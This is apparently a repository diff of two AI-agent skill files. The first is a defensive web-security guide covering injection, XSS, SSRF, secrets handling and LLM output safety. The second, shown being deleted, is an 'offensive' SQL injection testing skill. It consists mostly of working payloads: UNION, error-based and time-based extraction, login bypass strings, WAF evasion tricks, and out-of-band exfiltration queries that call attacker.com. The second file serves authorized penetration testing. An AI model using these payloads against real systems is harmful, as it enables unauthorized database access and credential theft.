|
||||
### Injection (SQL, NoSQL, OS Command)
|
||||
|
||||
```typescript
|
||||
// BAD: SQL injection via string concatenation
|
||||
const query = `SELECT * FROM users WHERE id = '${userId}'`;
|
||||
|
||||
// GOOD: Parameterized query
|
||||
const user = await db.query('SELECT * FROM users WHERE id = $1', [userId]);
|
||||
|
||||
// GOOD: ORM with parameterized input
|
||||
const user = await prisma.user.findUnique({ where: { id: userId } });
|
||||
```
|
||||
|
||||
### Broken Authentication
|
||||
|
||||
```typescript
|
||||
// Password hashing
|
||||
import { hash, compare } from 'bcrypt';
|
||||
|
||||
const SALT_ROUNDS = 12;
|
||||
const hashedPassword = await hash(plaintext, SALT_ROUNDS);
|
||||
const isValid = await compare(plaintext, hashedPassword);
|
||||
|
||||
// Session management
|
||||
app.use(session({
|
||||
secret: process.env.SESSION_SECRET, // From environment, not code
|
||||
resave: false,
|
||||
saveUninitialized: false,
|
||||
cookie: {
|
||||
httpOnly: true, // Not accessible via JavaScript
|
||||
secure: true, // HTTPS only
|
||||
sameSite: 'lax', // CSRF protection
|
||||
maxAge: 24 * 60 * 60 * 1000, // 24 hours
|
||||
},
|
||||
}));
|
||||
```
|
||||
|
||||
### Cross-Site Scripting (XSS)
|
||||
|
||||
```typescript
|
||||
// BAD: Rendering user input as HTML
|
||||
element.innerHTML = userInput;
|
||||
|
||||
// GOOD: Use framework auto-escaping (React does this by default)
|
||||
return <div>{userInput}</div>;
|
||||
|
||||
// If you MUST render HTML, sanitize first
|
||||
import DOMPurify from 'dompurify';
|
||||
const clean = DOMPurify.sanitize(userInput);
|
||||
```
|
||||
|
||||
### Broken Access Control
|
||||
|
||||
```typescript
|
||||
// Always check authorization, not just authentication
|
||||
app.patch('/api/tasks/:id', authenticate, async (req, res) => {
|
||||
const task = await taskService.findById(req.params.id);
|
||||
|
||||
// Check that the authenticated user owns this resource
|
||||
if (task.ownerId !== req.user.id) {
|
||||
return res.status(403).json({
|
||||
error: { code: 'FORBIDDEN', message: 'Not authorized to modify this task' }
|
||||
});
|
||||
}
|
||||
|
||||
// Proceed with update
|
||||
const updated = await taskService.update(req.params.id, req.body);
|
||||
return res.json(updated);
|
||||
});
|
||||
```
|
||||
|
||||
### Security Misconfiguration
|
||||
|
||||
```typescript
|
||||
// Security headers (use helmet for Express)
|
||||
import helmet from 'helmet';
|
||||
app.use(helmet());
|
||||
|
||||
// Content Security Policy
|
||||
app.use(helmet.contentSecurityPolicy({
|
||||
directives: {
|
||||
defaultSrc: ["'self'"],
|
||||
scriptSrc: ["'self'"],
|
||||
styleSrc: ["'self'", "'unsafe-inline'"], // Tighten if possible
|
||||
imgSrc: ["'self'", 'data:', 'https:'],
|
||||
connectSrc: ["'self'"],
|
||||
},
|
||||
}));
|
||||
|
||||
// CORS — restrict to known origins
|
||||
app.use(cors({
|
||||
origin: process.env.ALLOWED_ORIGINS?.split(',') || 'http://localhost:3000',
|
||||
credentials: true,
|
||||
}));
|
||||
```
|
||||
|
||||
### Sensitive Data Exposure
|
||||
|
||||
```typescript
|
||||
// Never return sensitive fields in API responses
|
||||
function sanitizeUser(user: UserRecord): PublicUser {
|
||||
const { passwordHash, resetToken, ...publicFields } = user;
|
||||
return publicFields;
|
||||
}
|
||||
|
||||
// Use environment variables for secrets
|
||||
const API_KEY = process.env.STRIPE_API_KEY;
|
||||
if (!API_KEY) throw new Error('STRIPE_API_KEY not configured');
|
||||
```
|
||||
|
||||
### Server-Side Request Forgery (SSRF)
|
||||
|
||||
Any time the server fetches a URL the user influenced — webhooks, "import from URL", image proxies, link previews — an attacker can aim it at internal services (cloud metadata, `localhost`, private IPs).
|
||||
|
||||
```typescript
|
||||
// BAD: fetch whatever the user gives you
|
||||
await fetch(req.body.webhookUrl);
|
||||
|
||||
// GOOD: allowlist scheme + host, reject if ANY resolved IP is private, forbid redirects
|
||||
import { lookup } from 'node:dns/promises';
|
||||
import ipaddr from 'ipaddr.js';
|
||||
|
||||
const ALLOWED_HOSTS = new Set(['hooks.example.com']);
|
||||
|
||||
async function assertSafeUrl(raw: string): Promise<URL> {
|
||||
const url = new URL(raw);
|
||||
if (url.protocol !== 'https:') throw new Error('https only');
|
||||
if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error('host not allowed');
|
||||
// Resolve ALL records; a single private/reserved address fails the check.
|
||||
const addrs = await lookup(url.hostname, { all: true });
|
||||
if (addrs.some((a) => ipaddr.parse(a.address).range() !== 'unicast')) {
|
||||
throw new Error('private/reserved IP');
|
||||
}
|
||||
return url;
|
||||
}
|
||||
|
||||
await fetch(await assertSafeUrl(req.body.webhookUrl), { redirect: 'error' });
|
||||
```
|
||||
|
||||
The `range() !== 'unicast'` check covers loopback, link-local `169.254.169.254` (cloud metadata, the #1 SSRF target), private, and unique-local ranges across IPv4 and IPv6.
|
||||
|
||||
**Caveat — this still has a TOCTOU gap.** `fetch` resolves DNS again after the check, so an attacker using a short-TTL record can rebind to an internal IP between validation and connection. For high-risk surfaces, resolve once and connect to the pinned IP, or put a filtering agent in front (`request-filtering-agent` / `ssrf-req-filter`).
|
||||
|
||||
## Input Validation Patterns
|
||||
|
||||
### Schema Validation at Boundaries
|
||||
|
||||
```typescript
|
||||
import { z } from 'zod';
|
||||
|
||||
const CreateTaskSchema = z.object({
|
||||
title: z.string().min(1).max(200).trim(),
|
||||
description: z.string().max(2000).optional(),
|
||||
priority: z.enum(['low', 'medium', 'high']).default('medium'),
|
||||
dueDate: z.string().datetime().optional(),
|
||||
});
|
||||
|
||||
// Validate at the route handler
|
||||
app.post('/api/tasks', async (req, res) => {
|
||||
const result = CreateTaskSchema.safeParse(req.body);
|
||||
if (!result.success) {
|
||||
return res.status(422).json({
|
||||
error: {
|
||||
code: 'VALIDATION_ERROR',
|
||||
message: 'Invalid input',
|
||||
details: result.error.flatten(),
|
||||
},
|
||||
});
|
||||
}
|
||||
// result.data is now typed and validated
|
||||
const task = await taskService.create(result.data);
|
||||
return res.status(201).json(task);
|
||||
});
|
||||
```
|
||||
|
||||
### File Upload Safety
|
||||
|
||||
```typescript
|
||||
// Restrict file types and sizes
|
||||
const ALLOWED_TYPES = ['image/jpeg', 'image/png', 'image/webp'];
|
||||
const MAX_SIZE = 5 * 1024 * 1024; // 5MB
|
||||
|
||||
function validateUpload(file: UploadedFile) {
|
||||
if (!ALLOWED_TYPES.includes(file.mimetype)) {
|
||||
throw new ValidationError('File type not allowed');
|
||||
}
|
||||
if (file.size > MAX_SIZE) {
|
||||
throw new ValidationError('File too large (max 5MB)');
|
||||
}
|
||||
// Don't trust the file extension — check magic bytes if critical
|
||||
}
|
||||
```
|
||||
|
||||
## Triaging npm audit Results
|
||||
|
||||
Not all audit findings require immediate action. Use this decision tree:
|
||||
|
||||
```
|
||||
npm audit reports a vulnerability
|
||||
├── Severity: critical or high
|
||||
│ ├── Is the vulnerable code reachable in your app?
|
||||
│ │ ├── YES --> Fix immediately (update, patch, or replace the dependency)
|
||||
│ │ └── NO (dev-only dep, unused code path) --> Fix soon, but not a blocker
|
||||
│ └── Is a fix available?
|
||||
│ ├── YES --> Update to the patched version
|
||||
│ └── NO --> Check for workarounds, consider replacing the dependency, or add to allowlist with a review date
|
||||
├── Severity: moderate
|
||||
│ ├── Reachable in production? --> Fix in the next release cycle
|
||||
│ └── Dev-only? --> Fix when convenient, track in backlog
|
||||
└── Severity: low
|
||||
└── Track and fix during regular dependency updates
|
||||
```
|
||||
|
||||
**Key questions:**
|
||||
- Is the vulnerable function actually called in your code path?
|
||||
- Is the dependency a runtime dependency or dev-only?
|
||||
- Is the vulnerability exploitable given your deployment context (e.g., a server-side vulnerability in a client-only app)?
|
||||
|
||||
When you defer a fix, document the reason and set a review date.
|
||||
|
||||
### Supply-Chain Hygiene
|
||||
|
||||
`npm audit` catches known CVEs; it won't catch a malicious or typosquatted package. Also:
|
||||
|
||||
- **Commit the lockfile** and install with `npm ci` (not `npm install`) in CI — reproducible builds, no silent version drift.
|
||||
- **Review new dependencies before adding them** — maintenance, download counts, and whether they truly earn their place. Every dependency is attack surface (OWASP **A06: Vulnerable Components**, **LLM03: Supply Chain**).
|
||||
- **Be wary of `postinstall` scripts** in unfamiliar packages — they run arbitrary code at install time.
|
||||
- **Watch for typosquats** — `cross-env` vs `crossenv`, `react-dom` vs `reactdom`.
|
||||
|
||||
## Rate Limiting
|
||||
|
||||
```typescript
|
||||
import rateLimit from 'express-rate-limit';
|
||||
|
||||
// General API rate limit
|
||||
app.use('/api/', rateLimit({
|
||||
windowMs: 15 * 60 * 1000, // 15 minutes
|
||||
max: 100, // 100 requests per window
|
||||
standardHeaders: true,
|
||||
legacyHeaders: false,
|
||||
}));
|
||||
|
||||
// Stricter limit for auth endpoints
|
||||
app.use('/api/auth/', rateLimit({
|
||||
windowMs: 15 * 60 * 1000,
|
||||
max: 10, // 10 attempts per 15 minutes
|
||||
}));
|
||||
```
|
||||
|
||||
## Secrets Management
|
||||
|
||||
```
|
||||
.env files:
|
||||
├── .env.example → Committed (template with placeholder values)
|
||||
├── .env → NOT committed (contains real secrets)
|
||||
└── .env.local → NOT committed (local overrides)
|
||||
|
||||
.gitignore must include:
|
||||
.env
|
||||
.env.local
|
||||
.env.*.local
|
||||
*.pem
|
||||
*.key
|
||||
```
|
||||
|
||||
**Always check before committing:**
|
||||
```bash
|
||||
# Check for accidentally staged secrets
|
||||
git diff --cached | grep -i "password\|secret\|api_key\|token"
|
||||
```
|
||||
|
||||
**If a secret is ever committed, rotate it.** Deleting the line or rewriting history is not enough — assume it's compromised the moment it reaches a remote. Revoke and reissue the key first, then purge it from history.
|
||||
|
||||
## Securing AI / LLM Features
|
||||
|
||||
If your app calls an LLM — chatbots, summarizers, agents, RAG — it inherits a new attack surface. Map it to the [OWASP Top 10 for LLM Applications (2025)](https://genai.owasp.org/llm-top-10/):
|
||||
|
||||
- **Treat all model output as untrusted input (LLM05: Improper Output Handling).** Never pass LLM output straight into `eval`, SQL, a shell, `innerHTML`, or a file path. Validate and encode it exactly as you would raw user input.
|
||||
- **Assume prompts can be hijacked (LLM01: Prompt Injection).** Untrusted text in the context window — a user message, a fetched web page, a PDF — can carry instructions. The system prompt is not a security boundary; enforce permissions in code, not in the prompt.
|
||||
- **Keep secrets and other users' data out of prompts (LLM02 / LLM07).** Anything in the context can be echoed back. Don't put API keys, cross-tenant data, or the full system prompt where the model can repeat it.
|
||||
- **Constrain tool and agent permissions (LLM06: Excessive Agency).** Scope tools to the minimum, require confirmation for destructive or irreversible actions, and validate every tool argument.
|
||||
- **Bound consumption (LLM10: Unbounded Consumption).** Cap tokens, request rate, and loop/recursion depth so a crafted input can't run up cost or hang the system.
|
||||
- **Isolate retrieval data (LLM08: Vector and Embedding Weaknesses).** In RAG, treat the vector store as a trust boundary: partition embeddings per tenant so one user can't retrieve another's data, and validate documents before indexing so poisoned content can't steer answers.
|
||||
|
||||
```typescript
|
||||
// BAD: trusting model output as a command or as markup
|
||||
const sql = await llm.generate(`Write SQL for: ${userQuestion}`);
|
||||
await db.query(sql); // arbitrary query execution
|
||||
container.innerHTML = await llm.reply(userMessage); // stored XSS, via the model
|
||||
|
||||
// GOOD: model output is data — parse defensively, then validate, then encode
|
||||
let intent;
|
||||
try {
|
||||
intent = CommandSchema.parse(JSON.parse(await llm.replyJson(userMessage)));
|
||||
} catch {
|
||||
throw new ValidationError('unexpected model output'); // JSON.parse or schema failed
|
||||
}
|
||||
await runAllowlistedAction(intent.action, intent.params);
|
||||
container.textContent = await llm.reply(userMessage);
|
||||
```
|
||||
|
||||
## Security Review Checklist
|
||||
|
||||
```markdown
|
||||
### Authentication
|
||||
- [ ] Passwords hashed with bcrypt/scrypt/argon2 (salt rounds ≥ 12)
|
||||
- [ ] Session tokens are httpOnly, secure, sameSite
|
||||
- [ ] Login has rate limiting
|
||||
- [ ] Password reset tokens expire
|
||||
|
||||
### Authorization
|
||||
- [ ] Every endpoint checks user permissions
|
||||
- [ ] Users can only access their own resources
|
||||
- [ ] Admin actions require admin role verification
|
||||
|
||||
### Input
|
||||
- [ ] All user input validated at the boundary
|
||||
- [ ] SQL queries are parameterized
|
||||
- [ ] HTML output is encoded/escaped
|
||||
- [ ] Server-side URL fetches are allowlisted (no SSRF to internal services)
|
||||
|
||||
### Data
|
||||
- [ ] No secrets in code or version control
|
||||
- [ ] Sensitive fields excluded from API responses
|
||||
- [ ] PII encrypted at rest (if applicable)
|
||||
|
||||
### Infrastructure
|
||||
- [ ] Security headers configured (CSP, HSTS, etc.)
|
||||
- [ ] CORS restricted to known origins
|
||||
- [ ] Dependencies audited for vulnerabilities
|
||||
- [ ] Error messages don't expose internals
|
||||
|
||||
### Supply Chain
|
||||
- [ ] Lockfile committed; CI installs with `npm ci`
|
||||
- [ ] New dependencies reviewed (maintenance, downloads, postinstall scripts)
|
||||
|
||||
### AI / LLM (if used)
|
||||
- [ ] Model output treated as untrusted (no eval/SQL/innerHTML/shell)
|
||||
- [ ] Secrets and other users' data kept out of prompts
|
||||
- [ ] Tool/agent permissions scoped; destructive actions require confirmation
|
||||
```
|
||||
## See Also
|
||||
|
||||
For detailed security checklists and pre-commit verification steps, see `references/security-checklist.md`.
|
||||
|
||||
## Common Rationalizations
|
||||
|
||||
| Rationalization | Reality |
|
||||
|---|---|
|
||||
| "This is an internal tool, security doesn't matter" | Internal tools get compromised. Attackers target the weakest link. |
|
||||
| "We'll add security later" | Security retrofitting is 10x harder than building it in. Add it now. |
|
||||
| "No one would try to exploit this" | Automated scanners will find it. Security by obscurity is not security. |
|
||||
| "The framework handles security" | Frameworks provide tools, not guarantees. You still need to use them correctly. |
|
||||
| "It's just a prototype" | Prototypes become production. Security habits from day one. |
|
||||
| "Threat modeling is overkill here" | Five minutes of "how would I attack this?" prevents the design flaws no control can patch later. |
|
||||
| "It's just LLM output, it's only text" | That "text" can be a SQL statement, a script tag, or a shell command. Treat it like any untrusted input. |
|
||||
|
||||
## Red Flags
|
||||
|
||||
- User input passed directly to database queries, shell commands, or HTML rendering
|
||||
- Secrets in source code or commit history
|
||||
- API endpoints without authentication or authorization checks
|
||||
- Missing CORS configuration or wildcard (`*`) origins
|
||||
- No rate limiting on authentication endpoints
|
||||
- Stack traces or internal errors exposed to users
|
||||
- Dependencies with known critical vulnerabilities
|
||||
- Server fetches user-supplied URLs without an allowlist (SSRF)
|
||||
- LLM/model output passed into a query, the DOM, a shell, or `eval`
|
||||
- Secrets, PII, or the full system prompt placed inside an LLM context window
|
||||
|
||||
## Verification
|
||||
|
||||
After implementing security-relevant code:
|
||||
|
||||
- [ ] `npm audit` shows no critical or high vulnerabilities
|
||||
- [ ] No secrets in source code or git history
|
||||
- [ ] All user input validated at system boundaries
|
||||
- [ ] Authentication and authorization checked on every protected endpoint
|
||||
- [ ] Security headers present in response (check with browser DevTools)
|
||||
- [ ] Error responses don't expose internal details
|
||||
- [ ] Rate limiting active on auth endpoints
|
||||
- [ ] Server-side URL fetches validated against an allowlist (no SSRF)
|
||||
- [ ] LLM/model output validated and encoded before use (if AI features present)
|
||||
|
||||
## Limitations
|
||||
|
||||
- Use this skill only when the task clearly matches its upstream source and local project context.
|
||||
- Verify commands, generated code, dependencies, credentials, and external service behavior before applying changes.
|
||||
- Do not treat examples as a substitute for environment-specific tests, security review, or user approval for destructive or costly actions.
|
||||
-454
@@ -1,454 +0,0 @@
|
||||
---
|
||||
name: sql-injection-testing
|
||||
description: "Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms."
|
||||
risk: offensive
|
||||
source: community
|
||||
author: zebbern
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
|
||||
|
||||
# SQL Injection Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Access
|
||||
- Target web application URL with injectable parameters
|
||||
- Burp Suite or equivalent proxy tool for request manipulation
|
||||
- SQLMap installation for automated exploitation
|
||||
- Browser with developer tools enabled
|
||||
|
||||
### Technical Requirements
|
||||
- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
|
||||
- Knowledge of HTTP request/response cycle
|
||||
- Familiarity with database schemas and structures
|
||||
- Write permissions for testing reports
|
||||
|
||||
### Legal Prerequisites
|
||||
- Written authorization for penetration testing
|
||||
- Defined scope including target URLs and parameters
|
||||
- Emergency contact procedures established
|
||||
- Data handling agreements in place
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
### Primary Outputs
|
||||
- SQL injection vulnerability report with severity ratings
|
||||
- Extracted database schemas and table structures
|
||||
- Authentication bypass proof-of-concept demonstrations
|
||||
- Remediation recommendations with code examples
|
||||
|
||||
### Evidence Artifacts
|
||||
- Screenshots of successful injections
|
||||
- HTTP request/response logs
|
||||
- Database dumps (sanitized)
|
||||
- Payload documentation
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Detection and Reconnaissance
|
||||
|
||||
#### Identify Injectable Parameters
|
||||
Locate user-controlled input fields that interact with database queries:
|
||||
|
||||
```
|
||||
# Common injection points
|
||||
- URL parameters: ?id=1, ?user=admin, ?category=books
|
||||
- Form fields: username, password, search, comments
|
||||
- Cookie values: session_id, user_preference
|
||||
- HTTP headers: User-Agent, Referer, X-Forwarded-For
|
||||
```
|
||||
|
||||
#### Test for Basic Vulnerability Indicators
|
||||
Insert special characters to trigger error responses:
|
||||
|
||||
```sql
|
||||
-- Single quote test
|
||||
'
|
||||
|
||||
-- Double quote test
|
||||
"
|
||||
|
||||
-- Comment sequences
|
||||
--
|
||||
#
|
||||
/**/
|
||||
|
||||
-- Semicolon for query stacking
|
||||
;
|
||||
|
||||
-- Parentheses
|
||||
)
|
||||
```
|
||||
|
||||
Monitor application responses for:
|
||||
- Database error messages revealing query structure
|
||||
- Unexpected application behavior changes
|
||||
- HTTP 500 Internal Server errors
|
||||
- Modified response content or length
|
||||
|
||||
#### Logic Testing Payloads
|
||||
Verify boolean-based vulnerability presence:
|
||||
|
||||
```sql
|
||||
-- True condition tests
|
||||
page.asp?id=1 or 1=1
|
||||
page.asp?id=1' or 1=1--
|
||||
page.asp?id=1" or 1=1--
|
||||
|
||||
-- False condition tests
|
||||
page.asp?id=1 and 1=2
|
||||
page.asp?id=1' and 1=2--
|
||||
```
|
||||
|
||||
Compare responses between true and false conditions to confirm injection capability.
|
||||
|
||||
### Phase 2: Exploitation Techniques
|
||||
|
||||
#### UNION-Based Extraction
|
||||
Combine attacker-controlled SELECT statements with original query:
|
||||
|
||||
```sql
|
||||
-- Determine column count
|
||||
ORDER BY 1--
|
||||
ORDER BY 2--
|
||||
ORDER BY 3--
|
||||
-- Continue until error occurs
|
||||
|
||||
-- Find displayable columns
|
||||
UNION SELECT NULL,NULL,NULL--
|
||||
UNION SELECT 'a',NULL,NULL--
|
||||
UNION SELECT NULL,'a',NULL--
|
||||
|
||||
-- Extract data
|
||||
UNION SELECT username,password,NULL FROM users--
|
||||
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
|
||||
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
|
||||
```
|
||||
|
||||
#### Error-Based Extraction
|
||||
Force database errors that leak information:
|
||||
|
||||
```sql
|
||||
-- MSSQL version extraction
|
||||
1' AND 1=CONVERT(int,(SELECT @@version))--
|
||||
|
||||
-- MySQL extraction via XPATH
|
||||
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
|
||||
|
||||
-- PostgreSQL cast errors
|
||||
1' AND 1=CAST((SELECT version()) AS int)--
|
||||
```
|
||||
|
||||
#### Blind Boolean-Based Extraction
|
||||
Infer data through application behavior changes:
|
||||
|
||||
```sql
|
||||
-- Character extraction
|
||||
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
|
||||
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
|
||||
|
||||
-- Conditional responses
|
||||
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
|
||||
```
|
||||
|
||||
#### Time-Based Blind Extraction
|
||||
Use database sleep functions for confirmation:
|
||||
|
||||
```sql
|
||||
-- MySQL
|
||||
1' AND IF(1=1,SLEEP(5),0)--
|
||||
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
|
||||
|
||||
-- MSSQL
|
||||
1'; WAITFOR DELAY '0:0:5'--
|
||||
|
||||
-- PostgreSQL
|
||||
1'; SELECT pg_sleep(5)--
|
||||
```
|
||||
|
||||
#### Out-of-Band (OOB) Extraction
|
||||
Exfiltrate data through external channels:
|
||||
|
||||
```sql
|
||||
-- MSSQL DNS exfiltration
|
||||
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
|
||||
|
||||
-- MySQL DNS exfiltration
|
||||
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
|
||||
|
||||
-- Oracle HTTP request
|
||||
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
|
||||
```
|
||||
|
||||
### Phase 3: Authentication Bypass
|
||||
|
||||
#### Login Form Exploitation
|
||||
Craft payloads to bypass credential verification:
|
||||
|
||||
```sql
|
||||
-- Classic bypass
|
||||
admin'--
|
||||
admin'/*
|
||||
' OR '1'='1
|
||||
' OR '1'='1'--
|
||||
' OR '1'='1'/*
|
||||
') OR ('1'='1
|
||||
') OR ('1'='1'--
|
||||
|
||||
-- Username enumeration
|
||||
admin' AND '1'='1
|
||||
admin' AND '1'='2
|
||||
```
|
||||
|
||||
Query transformation example:
|
||||
```sql
|
||||
-- Original query
|
||||
SELECT * FROM users WHERE username='input' AND password='input' -- security-allowlist: controlled SQL injection test example
|
||||
|
||||
-- Injected (username: admin'--)
|
||||
SELECT * FROM users WHERE username='admin'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
|
||||
-- Password check bypassed via comment
|
||||
```
|
||||
|
||||
### Phase 4: Filter Bypass Techniques
|
||||
|
||||
#### Character Encoding Bypass
|
||||
When special characters are blocked:
|
||||
|
||||
```sql
|
||||
-- URL encoding
|
||||
%27 (single quote)
|
||||
%22 (double quote)
|
||||
%23 (hash)
|
||||
|
||||
-- Double URL encoding
|
||||
%2527 (single quote)
|
||||
|
||||
-- Unicode alternatives
|
||||
U+0027 (apostrophe)
|
||||
U+02B9 (modifier letter prime)
|
||||
|
||||
-- Hexadecimal strings (MySQL)
|
||||
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
|
||||
```
|
||||
|
||||
#### Whitespace Bypass
|
||||
Substitute blocked spaces:
|
||||
|
||||
```sql
|
||||
-- Comment substitution
|
||||
SELECT/**/username/**/FROM/**/users
|
||||
SEL/**/ECT/**/username/**/FR/**/OM/**/users
|
||||
|
||||
-- Alternative whitespace
|
||||
SELECT%09username%09FROM%09users -- Tab character
|
||||
SELECT%0Ausername%0AFROM%0Ausers -- Newline
|
||||
```
|
||||
|
||||
#### Keyword Bypass
|
||||
Evade blacklisted SQL keywords:
|
||||
|
||||
```sql
|
||||
-- Case variation
|
||||
SeLeCt, sElEcT, SELECT
|
||||
|
||||
-- Inline comments
|
||||
SEL/*bypass*/ECT
|
||||
UN/*bypass*/ION
|
||||
|
||||
-- Double writing (if filter removes once)
|
||||
SELSELECTECT → SELECT
|
||||
UNUNIONION → UNION
|
||||
|
||||
-- Null byte injection
|
||||
%00SELECT
|
||||
SEL%00ECT
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Detection Test Sequence
|
||||
```
|
||||
1. Insert ' → Check for error
|
||||
2. Insert " → Check for error
|
||||
3. Try: OR 1=1-- → Check for behavior change
|
||||
4. Try: AND 1=2-- → Check for behavior change
|
||||
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
|
||||
```
|
||||
|
||||
### Database Fingerprinting
|
||||
```sql
|
||||
-- MySQL
|
||||
SELECT @@version
|
||||
SELECT version()
|
||||
|
||||
-- MSSQL
|
||||
SELECT @@version
|
||||
SELECT @@servername
|
||||
|
||||
-- PostgreSQL
|
||||
SELECT version()
|
||||
|
||||
-- Oracle
|
||||
SELECT banner FROM v$version
|
||||
SELECT * FROM v$version
|
||||
```
|
||||
|
||||
### Information Schema Queries
|
||||
```sql
|
||||
-- MySQL/MSSQL table enumeration
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
|
||||
|
||||
-- Column enumeration
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name='users'
|
||||
|
||||
-- Oracle equivalent
|
||||
SELECT table_name FROM all_tables
|
||||
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
|
||||
```
|
||||
|
||||
### Common Payloads Quick List
|
||||
| Purpose | Payload |
|
||||
|---------|---------|
|
||||
| Basic test | `'` or `"` |
|
||||
| Boolean true | `OR 1=1--` |
|
||||
| Boolean false | `AND 1=2--` |
|
||||
| Comment (MySQL) | `#` or `-- ` |
|
||||
| Comment (MSSQL) | `--` |
|
||||
| UNION probe | `UNION SELECT NULL--` |
|
||||
| Time delay | `AND SLEEP(5)--` |
|
||||
| Auth bypass | `' OR '1'='1` |
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
|
||||
- Limit data extraction to proof-of-concept quantities
|
||||
- Avoid denial-of-service through resource-intensive queries
|
||||
- Stop immediately upon detecting production database with real user data
|
||||
|
||||
### Technical Limitations
|
||||
- WAF/IPS may block common payloads requiring evasion techniques
|
||||
- Parameterized queries prevent standard injection
|
||||
- Some blind injection requires extensive requests (rate limiting concerns)
|
||||
- Second-order injection requires understanding of data flow
|
||||
|
||||
### Legal and Ethical Requirements
|
||||
- Written scope agreement must exist before testing
|
||||
- Document all extracted data and handle per data protection requirements
|
||||
- Report critical vulnerabilities immediately through agreed channels
|
||||
- Never access data beyond scope requirements
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: E-commerce Product Page SQLi
|
||||
|
||||
**Scenario**: Testing product display page with ID parameter
|
||||
|
||||
**Initial Request**:
|
||||
```
|
||||
GET /product.php?id=5 HTTP/1.1
|
||||
```
|
||||
|
||||
**Detection Test**:
|
||||
```
|
||||
GET /product.php?id=5' HTTP/1.1
|
||||
Response: MySQL error - syntax error near '''
|
||||
```
|
||||
|
||||
**Column Enumeration**:
|
||||
```
|
||||
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
|
||||
Response: Normal
|
||||
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
|
||||
Response: Error (4 columns confirmed)
|
||||
```
|
||||
|
||||
**Data Extraction**:
|
||||
```
|
||||
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
|
||||
Response: Displays admin credentials
|
||||
```
|
||||
|
||||
### Example 2: Blind Time-Based Extraction
|
||||
|
||||
**Scenario**: No visible output, testing for blind injection
|
||||
|
||||
**Confirm Vulnerability**:
|
||||
```sql
|
||||
id=5' AND SLEEP(5)--
|
||||
-- Response delayed by 5 seconds (vulnerable confirmed)
|
||||
```
|
||||
|
||||
**Extract Database Name Length**:
|
||||
```sql
|
||||
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
|
||||
-- Delay confirms database name is 8 characters
|
||||
```
|
||||
|
||||
**Extract Characters**:
|
||||
```sql
|
||||
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
|
||||
-- Iterate through characters to extract: 'appstore'
|
||||
```
|
||||
|
||||
### Example 3: Login Bypass
|
||||
|
||||
**Target**: Admin login form
|
||||
|
||||
**Standard Login Query**:
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='[input]' AND password='[input]' -- security-allowlist: controlled SQL injection test example
|
||||
```
|
||||
|
||||
**Injection Payload**:
|
||||
```
|
||||
Username: administrator'--
|
||||
Password: anything
|
||||
```
|
||||
|
||||
**Resulting Query**:
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='administrator'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
|
||||
```
|
||||
|
||||
**Result**: Password check bypassed, authenticated as administrator.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### No Error Messages Displayed
|
||||
- Application uses generic error handling
|
||||
- Switch to blind injection techniques (boolean or time-based)
|
||||
- Monitor response length differences instead of content
|
||||
|
||||
### UNION Injection Fails
|
||||
- Column count may be incorrect → Test with ORDER BY
|
||||
- Data types may mismatch → Use NULL for all columns first
|
||||
- Results may not display → Find injectable column positions
|
||||
|
||||
### WAF Blocking Requests
|
||||
- Use encoding techniques (URL, hex, unicode)
|
||||
- Insert inline comments within keywords
|
||||
- Try alternative syntax for same operations
|
||||
- Fragment payload across multiple parameters
|
||||
|
||||
### Payload Not Executing
|
||||
- Verify correct comment syntax for database type
|
||||
- Check if application uses parameterized queries
|
||||
- Confirm input reaches SQL query (not filtered client-side)
|
||||
- Test different injection points (headers, cookies)
|
||||
|
||||
### Time-Based Injection Inconsistent
|
||||
- Network latency may cause false positives
|
||||
- Use longer delays (10+ seconds) for clarity
|
||||
- Run multiple tests to confirm pattern
|
||||
- Consider server-side caching effects
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
Reference in New Issue
Block a user